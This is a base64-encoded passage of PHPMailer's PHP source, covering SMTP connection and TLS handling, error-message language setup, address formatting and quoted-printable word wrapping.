lY3VyZSkgewogICAgICAgICAgICAgICAgLy9DaGVjayBmb3IgYW4gT3BlblNTTCBjb25zdGFudCByYXRoZXIgdGhhbiB1c2luZyBleHRlbnNpb25fbG9hZGVkLCB3aGljaCBpcyBzb21ldGltZXMgZGlzYWJsZWQKICAgICAgICAgICAgICAgIGlmICghJHNzbGV4dCkgewogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2V4dGVuc2lvbl9taXNzaW5nJykuJ29wZW5zc2wnLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICAkaG9zdCA9ICRob3N0aW5mb1szXTsKICAgICAgICAgICAgJHBvcnQgPSAkdGhpcy0+UG9ydDsKICAgICAgICAgICAgJHRwb3J0ID0gKGludGVnZXIpJGhvc3RpbmZvWzRdOwogICAgICAgICAgICBpZiAoJHRwb3J0ID4gMCBhbmQgJHRwb3J0IDwgNjU1MzYpIHsKICAgICAgICAgICAgICAgICRwb3J0ID0gJHRwb3J0OwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkdGhpcy0+c210cC0+Y29ubmVjdCgkcHJlZml4IC4gJGhvc3QsICRwb3J0LCAkdGhpcy0+VGltZW91dCwgJG9wdGlvbnMpKSB7CiAgICAgICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+SGVsbykgewogICAgICAgICAgICAgICAgICAgICAgICAkaGVsbG8gPSAkdGhpcy0+SGVsbzsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAkaGVsbG8gPSAkdGhpcy0+c2VydmVySG9zdG5hbWUoKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnNtdHAtPmhlbGxvKCRoZWxsbyk7CiAgICAgICAgICAgICAgICAgICAgLy9BdXRvbWF0aWNhbGx5IGVuYWJsZSBUTFMgZW5jcnlwdGlvbiBpZjoKICAgICAgICAgICAgICAgICAgICAvLyAqIGl0J3Mgbm90IGRpc2FibGVkCiAgICAgICAgICAgICAgICAgICAgLy8gKiB3ZSBoYXZlIG9wZW5zc2wgZXh0ZW5zaW9uCiAgICAgICAgICAgICAgICAgICAgLy8gKiB3ZSBhcmUgbm90IGFscmVhZHkgdXNpbmcgU1NMCiAgICAgICAgICAgICAgICAgICAgLy8gKiB0aGUgc2VydmVyIG9mZmVycyBTVEFSVFRMUwogICAgICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+U01UUEF1dG9UTFMgYW5kICRzc2xleHQgYW5kICRzZWN1cmUgIT0gJ3NzbCcgYW5kICR0aGlzLT5zbXRwLT5nZXRTZXJ2ZXJFeHQoJ1NUQVJUVExTJykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHRscyA9IHRydWU7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGlmICgkdGxzKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPnNtdHAtPnN0YXJ0VExTKCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2Nvbm5lY3RfaG9zdCcpKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAvLyBXZSBtdXN0IHJlc2VuZCBFSExPIGFmdGVyIFRMUyBuZWdvdGlhdGlvbgogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+c210cC0+aGVsbG8oJGhlbGxvKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5TTVRQQXV0aCkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5zbXRwLT5hdXRoZW50aWNhdGUoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+VXNlcm5hbWUsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+UGFzc3dvcmQsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+QXV0aFR5cGUsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+UmVhbG0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+V29ya3N0YXRpb24KICAgICAgICAgICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgICAgICAgICApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2F1dGhlbnRpY2F0ZScpKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgICAgIH0gY2F0Y2ggKHBocG1haWxlckV4Y2VwdGlvbiAkZXhjKSB7CiAgICAgICAgICAgICAgICAgICAgJGxhc3RleGNlcHRpb24gPSAkZXhjOwogICAgICAgICAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGV4Yy0+Z2V0TWVzc2FnZSgpKTsKICAgICAgICAgICAgICAgICAgICAvLyBXZSBtdXN0IGhhdmUgY29ubmVjdGVkLCBidXQgdGhlbiBmYWlsZWQgVExTIG9yIEF1dGgsIHNvIGNsb3NlIGNvbm5lY3Rpb24gbmljZWx5CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnNtdHAtPnF1aXQoKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAvLyBJZiB3ZSBnZXQgaGVyZSwgYWxsIGNvbm5lY3Rpb24gYXR0ZW1wdHMgaGF2ZSBmYWlsZWQsIHNvIGNsb3NlIGNvbm5lY3Rpb24gaGFyZAogICAgICAgICR0aGlzLT5zbXRwLT5jbG9zZSgpOwogICAgICAgIC8vIEFzIHdlJ3ZlIGNhdWdodCBhbGwgZXhjZXB0aW9ucywganVzdCByZXBvcnQgd2hhdGV2ZXIgdGhlIGxhc3Qgb25lIHdhcwogICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucyBhbmQgIWlzX251bGwoJGxhc3RleGNlcHRpb24pKSB7CiAgICAgICAgICAgIHRocm93ICRsYXN0ZXhjZXB0aW9uOwogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBDbG9zZSB0aGUgYWN0aXZlIFNNVFAgc2Vzc2lvbiBpZiBvbmUgZXhpc3RzLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzbXRwQ2xvc2UoKQogICAgewogICAgICAgIGlmIChpc19hKCR0aGlzLT5zbXRwLCAnU01UUCcpKSB7CiAgICAgICAgICAgIGlmICgkdGhpcy0+c210cC0+Y29ubmVjdGVkKCkpIHsKICAgICAgICAgICAgICAgICR0aGlzLT5zbXRwLT5xdWl0KCk7CiAgICAgICAgICAgICAgICAkdGhpcy0+c210cC0+Y2xvc2UoKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIFNldCB0aGUgbGFuZ3VhZ2UgZm9yIGVycm9yIG1lc3NhZ2VzLgogICAgICogUmV0dXJucyBmYWxzZSBpZiBpdCBjYW5ub3QgbG9hZCB0aGUgbGFuZ3VhZ2UgZmlsZS4KICAgICAqIFRoZSBkZWZhdWx0IGxhbmd1YWdlIGlzIEVuZ2xpc2guCiAgICAgKiBAcGFyYW0gc3RyaW5nICRsYW5nY29kZSBJU08gNjM5LTEgMi1jaGFyYWN0ZXIgbGFuZ3VhZ2UgY29kZSAoZS5nLiBGcmVuY2ggaXMgImZyIikKICAgICAqIEBwYXJhbSBzdHJpbmcgJGxhbmdfcGF0aCBQYXRoIHRvIHRoZSBsYW5ndWFnZSBmaWxlIGRpcmVjdG9yeSwgd2l0aCB0cmFpbGluZyBzZXBhcmF0b3IgKHNsYXNoKQogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0TGFuZ3VhZ2UoJGxhbmdjb2RlID0gJ2VuJywgJGxhbmdfcGF0aCA9ICcnKQogICAgewogICAgICAgIC8vIEJhY2t3YXJkcyBjb21wYXRpYmlsaXR5IGZvciByZW5hbWVkIGxhbmd1YWdlIGNvZGVzCiAgICAgICAgJHJlbmFtZWRfbGFuZ2NvZGVzID0gYXJyYXkoCiAgICAgICAgICAgICdicicgPT4gJ3B0X2JyJywKICAgICAgICAgICAgJ2N6JyA9PiAnY3MnLAogICAgICAgICAgICAnZGsnID0+ICdkYScsCiAgICAgICAgICAgICdubycgPT4gJ25iJywKICAgICAgICAgICAgJ3NlJyA9PiAnc3YnLAogICAgICAgICAgICAnc3InID0+ICdycycKICAgICAgICApOwoKICAgICAgICBpZiAoaXNzZXQoJHJlbmFtZWRfbGFuZ2NvZGVzWyRsYW5nY29kZV0pKSB7CiAgICAgICAgICAgICRsYW5nY29kZSA9ICRyZW5hbWVkX2xhbmdjb2Rlc1skbGFuZ2NvZGVdOwogICAgICAgIH0KCiAgICAgICAgLy8gRGVmaW5lIGZ1bGwgc2V0IG9mIHRyYW5zbGF0YWJsZSBzdHJpbmdzIGluIEVuZ2xpc2gKICAgICAgICAkUEhQTUFJTEVSX0xBTkcgPSBhcnJheSgKICAgICAgICAgICAgJ2F1dGhlbnRpY2F0ZScgPT4gJ1NNVFAgRXJyb3I6IENvdWxkIG5vdCBhdXRoZW50aWNhdGUuJywKICAgICAgICAgICAgJ2Nvbm5lY3RfaG9zdCcgPT4gJ1NNVFAgRXJyb3I6IENvdWxkIG5vdCBjb25uZWN0IHRvIFNNVFAgaG9zdC4nLAogICAgICAgICAgICAnZGF0YV9ub3RfYWNjZXB0ZWQnID0+ICdTTVRQIEVycm9yOiBkYXRhIG5vdCBhY2NlcHRlZC4nLAogICAgICAgICAgICAnZW1wdHlfbWVzc2FnZScgPT4gJ01lc3NhZ2UgYm9keSBlbXB0eScsCiAgICAgICAgICAgICdlbmNvZGluZycgPT4gJ1Vua25vd24gZW5jb2Rpbmc6ICcsCiAgICAgICAgICAgICdleGVjdXRlJyA9PiAnQ291bGQgbm90IGV4ZWN1dGU6ICcsCiAgICAgICAgICAgICdmaWxlX2FjY2VzcycgPT4gJ0NvdWxkIG5vdCBhY2Nlc3MgZmlsZTogJywKICAgICAgICAgICAgJ2ZpbGVfb3BlbicgPT4gJ0ZpbGUgRXJyb3I6IENvdWxkIG5vdCBvcGVuIGZpbGU6ICcsCiAgICAgICAgICAgICdmcm9tX2ZhaWxlZCcgPT4gJ1RoZSBmb2xsb3dpbmcgRnJvbSBhZGRyZXNzIGZhaWxlZDogJywKICAgICAgICAgICAgJ2luc3RhbnRpYXRlJyA9PiAnQ291bGQgbm90IGluc3RhbnRpYXRlIG1haWwgZnVuY3Rpb24uJywKICAgICAgICAgICAgJ2ludmFsaWRfYWRkcmVzcycgPT4gJ0ludmFsaWQgYWRkcmVzczogJywKICAgICAgICAgICAgJ21haWxlcl9ub3Rfc3VwcG9ydGVkJyA9PiAnIG1haWxlciBpcyBub3Qgc3VwcG9ydGVkLicsCiAgICAgICAgICAgICdwcm92aWRlX2FkZHJlc3MnID0+ICdZb3UgbXVzdCBwcm92aWRlIGF0IGxlYXN0IG9uZSByZWNpcGllbnQgZW1haWwgYWRkcmVzcy4nLAogICAgICAgICAgICAncmVjaXBpZW50c19mYWlsZWQnID0+ICdTTVRQIEVycm9yOiBUaGUgZm9sbG93aW5nIHJlY2lwaWVudHMgZmFpbGVkOiAnLAogICAgICAgICAgICAnc2lnbmluZycgPT4gJ1NpZ25pbmcgRXJyb3I6ICcsCiAgICAgICAgICAgICdzbXRwX2Nvbm5lY3RfZmFpbGVkJyA9PiAnU01UUCBjb25uZWN0KCkgZmFpbGVkLicsCiAgICAgICAgICAgICdzbXRwX2Vycm9yJyA9PiAnU01UUCBzZXJ2ZXIgZXJyb3I6ICcsCiAgICAgICAgICAgICd2YXJpYWJsZV9zZXQnID0+ICdDYW5ub3Qgc2V0IG9yIHJlc2V0IHZhcmlhYmxlOiAnLAogICAgICAgICAgICAnZXh0ZW5zaW9uX21pc3NpbmcnID0+ICdFeHRlbnNpb24gbWlzc2luZzogJwogICAgICAgICk7CiAgICAgICAgaWYgKGVtcHR5KCRsYW5nX3BhdGgpKSB7CiAgICAgICAgICAgIC8vIENhbGN1bGF0ZSBhbiBhYnNvbHV0ZSBwYXRoIHNvIGl0IGNhbiB3b3JrIGlmIENXRCBpcyBub3QgaGVyZQogICAgICAgICAgICAkbGFuZ19wYXRoID0gZGlybmFtZShfX0ZJTEVfXykuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAnbGFuZ3VhZ2UnLiBESVJFQ1RPUllfU0VQQVJBVE9SOwogICAgICAgIH0KICAgICAgICAvL1ZhbGlkYXRlICRsYW5nY29kZQogICAgICAgIGlmICghcHJlZ19tYXRjaCgnL15bYS16XXsyfSg\/Ol9bYS16QS1aXXsyfSk\/JC8nLCAkbGFuZ2NvZGUpKSB7CiAgICAgICAgICAgICRsYW5nY29kZSA9ICdlbic7CiAgICAgICAgfQogICAgICAgICRmb3VuZGxhbmcgPSB0cnVlOwogICAgICAgICRsYW5nX2ZpbGUgPSAkbGFuZ19wYXRoIC4gJ3BocG1haWxlci5sYW5nLScgLiAkbGFuZ2NvZGUgLiAnLnBocCc7CiAgICAgICAgLy8gVGhlcmUgaXMgbm8gRW5nbGlzaCB0cmFuc2xhdGlvbiBmaWxlCiAgICAgICAgaWYgKCRsYW5nY29kZSAhPSAnZW4nKSB7CiAgICAgICAgICAgIC8vIE1ha2Ugc3VyZSBsYW5ndWFnZSBmaWxlIHBhdGggaXMgcmVhZGFibGUKICAgICAgICAgICAgaWYgKCFzZWxmOjppc1Blcm1pdHRlZFBhdGgoJGxhbmdfZmlsZSkgb3IgIWlzX3JlYWRhYmxlKCRsYW5nX2ZpbGUpKSB7CiAgICAgICAgICAgICAgICAkZm91bmRsYW5nID0gZmFsc2U7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAvLyBPdmVyd3JpdGUgbGFuZ3VhZ2Utc3BlY2lmaWMgc3RyaW5ncy4KICAgICAgICAgICAgICAgIC8vIFRoaXMgd2F5IHdlJ2xsIG5ldmVyIGhhdmUgbWlzc2luZyB0cmFuc2xhdGlvbiBrZXlzLgogICAgICAgICAgICAgICAgJGZvdW5kbGFuZyA9IGluY2x1ZGUgJGxhbmdfZmlsZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkdGhpcy0+bGFuZ3VhZ2UgPSAkUEhQTUFJTEVSX0xBTkc7CiAgICAgICAgcmV0dXJuIChib29sZWFuKSRmb3VuZGxhbmc7IC8vIFJldHVybnMgZmFsc2UgaWYgbGFuZ3VhZ2Ugbm90IGZvdW5kCiAgICB9CgogICAgLyoqCiAgICAgKiBHZXQgdGhlIGFycmF5IG9mIHN0cmluZ3MgZm9yIHRoZSBjdXJyZW50IGxhbmd1YWdlLgogICAgICogQHJldHVybiBhcnJheQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0VHJhbnNsYXRpb25zKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPmxhbmd1YWdlOwogICAgfQoKICAgIC8qKgogICAgICogQ3JlYXRlIHJlY2lwaWVudCBoZWFkZXJzLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHR5cGUKICAgICAqIEBwYXJhbSBhcnJheSAkYWRkciBBbiBhcnJheSBvZiByZWNpcGllbnQsCiAgICAgKiB3aGVyZSBlYWNoIHJlY2lwaWVudCBpcyBhIDItZWxlbWVudCBpbmRleGVkIGFycmF5IHdpdGggZWxlbWVudCAwIGNvbnRhaW5pbmcgYW4gYWRkcmVzcwogICAgICogYW5kIGVsZW1lbnQgMSBjb250YWluaW5nIGEgbmFtZSwgbGlrZToKICAgICAqIGFycmF5KGFycmF5KCdqb2VAZXhhbXBsZS5jb20nLCAnSm9lIFVzZXInKSwgYXJyYXkoJ3pvZUBleGFtcGxlLmNvbScsICdab2UgVXNlcicpKQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZHJBcHBlbmQoJHR5cGUsICRhZGRyKQogICAgewogICAgICAgICRhZGRyZXNzZXMgPSBhcnJheSgpOwogICAgICAgIGZvcmVhY2ggKCRhZGRyIGFzICRhZGRyZXNzKSB7CiAgICAgICAgICAgICRhZGRyZXNzZXNbXSA9ICR0aGlzLT5hZGRyRm9ybWF0KCRhZGRyZXNzKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICR0eXBlIC4gJzogJyAuIGltcGxvZGUoJywgJywgJGFkZHJlc3NlcykgLiAkdGhpcy0+TEU7CiAgICB9CgogICAgLyoqCiAgICAgKiBGb3JtYXQgYW4gYWRkcmVzcyBmb3IgdXNlIGluIGEgbWVzc2FnZSBoZWFkZXIuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIGFycmF5ICRhZGRyIEEgMi1lbGVtZW50IGluZGV4ZWQgYXJyYXksIGVsZW1lbnQgMCBjb250YWluaW5nIGFuIGFkZHJlc3MsIGVsZW1lbnQgMSBjb250YWluaW5nIGEgbmFtZQogICAgICogICAgICBsaWtlIGFycmF5KCdqb2VAZXhhbXBsZS5jb20nLCAnSm9lIFVzZXInKQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZHJGb3JtYXQoJGFkZHIpCiAgICB7CiAgICAgICAgaWYgKGVtcHR5KCRhZGRyWzFdKSkgeyAvLyBObyBuYW1lIHByb3ZpZGVkCiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+c2VjdXJlSGVhZGVyKCRhZGRyWzBdKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICByZXR1cm4gJHRoaXMtPmVuY29kZUhlYWRlcigkdGhpcy0+c2VjdXJlSGVhZGVyKCRhZGRyWzFdKSwgJ3BocmFzZScpIC4gJyA8JyAuICR0aGlzLT5zZWN1cmVIZWFkZXIoCiAgICAgICAgICAgICAgICAkYWRkclswXQogICAgICAgICAgICApIC4gJz4nOwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIFdvcmQtd3JhcCBtZXNzYWdlLgogICAgICogRm9yIHVzZSB3aXRoIG1haWxlcnMgdGhhdCBkbyBub3QgYXV0b21hdGljYWxseSBwZXJmb3JtIHdyYXBwaW5nCiAgICAgKiBhbmQgZm9yIHF1b3RlZC1wcmludGFibGUgZW5jb2RlZCBtZXNzYWdlcy4KICAgICAqIE9yaWdpbmFsIHdyaXR0ZW4gYnkgcGhpbGlwcGUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRtZXNzYWdlIFRoZSBtZXNzYWdlIHRvIHdyYXAKICAgICAqIEBwYXJhbSBpbnRlZ2VyICRsZW5ndGggVGhlIGxpbmUgbGVuZ3RoIHRvIHdyYXAgdG8KICAgICAqIEBwYXJhbSBib29sZWFuICRxcF9tb2RlIFdoZXRoZXIgdG8gcnVuIGluIFF1b3RlZC1QcmludGFibGUgbW9kZQogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiB3cmFwVGV4dCgkbWVzc2FnZSwgJGxlbmd0aCwgJHFwX21vZGUgPSBmYWxzZSkKICAgIHsKICAgICAgICBpZiAoJHFwX21vZGUpIHsKICAgICAgICAgICAgJHNvZnRfYnJlYWsgPSBzcHJpbnRmKCcgPSVzJywgJHRoaXMtPkxFKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkc29mdF9icmVhayA9ICR0aGlzLT5MRTsKICAgICAgICB9CiAgICAgICAgLy8gSWYgdXRmLTggZW5jb2RpbmcgaXMgdXNlZCwgd2Ugd2lsbCBuZWVkIHRvIG1ha2Ugc3VyZSB3ZSBkb24ndAogICAgICAgIC8vIHNwbGl0IG11bHRpYnl0ZSBjaGFyYWN0ZXJzIHdoZW4gd2Ugd3JhcAogICAgICAgICRpc191dGY4ID0gKHN0cnRvbG93ZXIoJHRoaXMtPkNoYXJTZXQpID09ICd1dGYtOCcpOwogICAgICAgICRsZWxlbiA9IHN0cmxlbigkdGhpcy0+TEUpOwogICAgICAgICRjcmxmbGVuID0gc3RybGVuKHNlbGY6OkNSTEYpOwoKICAgICAgICAkbWVzc2FnZSA9ICR0aGlzLT5maXhFT0woJG1lc3NhZ2UpOwogICAgICAgIC8vUmVtb3ZlIGEgdHJhaWxpbmcgbGluZSBicmVhawogICAgICAgIGlmIChzdWJzdHIoJG1lc3NhZ2UsIC0kbGVsZW4pID09ICR0aGlzLT5MRSkgewogICAgICAgICAgICAkbWVzc2FnZSA9IHN1YnN0cigkbWVzc2FnZSwgMCwgLSRsZWxlbik7CiAgICAgICAgfQoKICAgICAgICAvL1NwbGl0IG1lc3NhZ2UgaW50byBsaW5lcwogICAgICAgICRsaW5lcyA9IGV4cGxvZGUoJHRoaXMtPkxFLCAkbWVzc2FnZSk7CiAgICAgICAgLy9NZXNzYWdlIHdpbGwgYmUgcmVidWlsdCBpbiBoZXJlCiAgICAgICAgJG1lc3NhZ2UgPSAnJzsKICAgICAgICBmb3JlYWNoICgkbGluZXMgYXMgJGxpbmUpIHsKICAgICAgICAgICAgJHdvcmRzID0gZXhwbG9kZSgnICcsICRsaW5lKTsKICAgICAgICAgICAgJGJ1ZiA9ICcnOwogICAgICAgICAgICAkZmlyc3R3b3JkID0gdHJ1ZTsKICAgICAgICAgICAgZm9yZWFjaCAoJHdvcmRzIGFzICR3b3JkKSB7CiAgICAgICAgICAgICAgICBpZiAoJHFwX21vZGUgYW5kIChzdHJsZW4oJHdvcmQpID4gJGxlbmd0aCkpIHsKICAgICAgICAgICAgICAgICAgICAkc3BhY2VfbGVmdCA9ICRsZW5ndGggLSBzdHJsZW4oJGJ1ZikgLSAkY3JsZmxlbjsKICAgICAgICAgICAgICAgICAgICBpZiAoISRmaXJzdHdvcmQpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRzcGFjZV9sZWZ0ID4gMjApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsZW4gPSAkc3BhY2VfbGVmdDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaXNfdXRmOCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsZW4gPSAkdGhpcy0+dXRmOENoYXJCb3VuZGFyeSgkd29yZCwgJGxlbik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoc3Vic3RyKCR3b3JkLCAkbGVuIC0gMSwgMSkgPT0gJz0nKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxlbi0tOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKHN1YnN0cigkd29yZCwgJGxlbiAtIDIsIDEpID09ICc9JykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsZW4gLT0gMjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYXJ0ID0gc3Vic3RyKCR3b3JkLCAwLCAkbGVuKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR3b3JkID0gc3Vic3RyKCR3b3JkLCAkbGVuKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRidWYgLj0gJyAnIC4gJHBhcnQ7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZSAuPSAkYnVmIC4gc3ByaW50ZignPSVzJywgc2VsZjo6Q1JMRik7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZSAuPSAkYnVmIC4gJHNvZnRfYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJGJ1ZiA9ICcnOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB3aGlsZSAoc3RybGVuKCR3b3JkKSA+IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRsZW5ndGggPD0gMCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJGxlbiA9ICRsZW5ndGg7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaXNfdXRmOCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxlbiA9ICR0aGlzLT51dGY4Q2hhckJvdW5kYXJ5KCR3b3JkLCAkbGVuKTsKICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKHN1YnN0cigkd29yZCwgJGxlbiAtIDEsIDEpID09ICc9JykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxlbi0tOwogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoc3Vic3RyKCR3b3JkLCAkbGVuIC0gMiwgMSkgPT0gJz0nKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbGVuIC09IDI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhcnQgPSBzdWJzdHIoJHdvcmQsIDAsICRsZW4pOwogICAgICAgICAgICAgICAgICAgICAgICAkd29yZCA9IHN1YnN0cigkd29yZCwgJGxlbik7CgogICAgICAgICAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCR3b3JkKSA+IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlIC49ICRwYXJ0IC4gc3ByaW50ZignPSVzJywgc2VsZjo6Q1JMRik7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYnVmID0gJHBhcnQ7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRidWZfbyA9ICRidWY7CiAgICAgICAgICAgICAgICAgICAgaWYgKCEkZmlyc3R3b3JkKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRidWYgLj0gJyAnOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkYnVmIC49ICR3b3JkOwoKICAgICAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCRidWYpID4gJGxlbmd0aCBhbmQgJGJ1Zl9vICE9ICcnKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlIC49ICRidWZfbyAuICRzb2Z0X2JyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAkYnVmID0gJHdvcmQ7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGZpcnN0d29yZCA9IGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRtZXNzYWdlIC49ICRidWYgLiBzZWxmOjpDUkxGOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuICRtZXNzYWdlOwogICAgfQoKICAgIC8qKgogICAgICogRmluZCB0aGUgbGFzdCBjaGFyYWN0ZXIgYm91bmRhcnkgcHJpb3IgdG8gJG1heExlbmd0aCBpbiBhIHV0Zi04CiAgICAgKiBxdW90ZWQtcHJpbnRhYmxlIGVuY29kZWQgc3RyaW5nLgogICAgICogT3JpZ2luYWwgd3JpdHRlbiBieSBDb2xpbiBCcm93bi4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRlbmNvZGVkVGV4dCB1dGYtOCBRUCB0ZXh0CiAgICAgKiBAcGFyYW0gaW50ZWdlciAkbWF4TGVuZ3RoIEZpbmQgdGhlIGxhc3QgY2hhcmFjdGVyIGJvdW5kYXJ5IHByaW9yIHRvIHRoaXMgbGVuZ3RoCiAgICAgKiBAcmV0dXJuIGludGVnZXIKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHV0ZjhDaGFyQm91bmRhcnkoJGVuY29kZWRUZXh0LCAkbWF4TGVuZ3RoKQogICAgewogICAgICAgICRmb3VuZFNwbGl0UG9zID0gZmFsc2U7CiAgICAgICAgJGxvb2tCYWNrID0gMzsKICAgICAgICB3aGlsZSAoISRmb3VuZFNwbGl0UG9zKSB7CiAgICAgICAgICAgICRsYXN0Q2h1bmsgPSBzdWJzdHIoJGVuY29kZWRUZXh0LCAkbWF4TGVuZ3RoIC0gJGxvb2tCYWNrLCAkbG9va0JhY2spOwogICAgICAgICAgICAkZW5jb2RlZENoYXJQb3MgPSBzdHJwb3MoJGxhc3RDaHVuaywgJz0nKTsKICAgICAgICAgICAgaWYgKGZhbHNlICE9PSAkZW5jb2RlZENoYXJQb3MpIHsKICAgICAgICAgICAgICAgIC8vIEZvdW5kIHN0YXJ0IG9mIGVuY29kZWQgY2hhcmFjdGVyIGJ5dGUgd2l0aGluICRsb29rQmFjayBibG9jay4KIC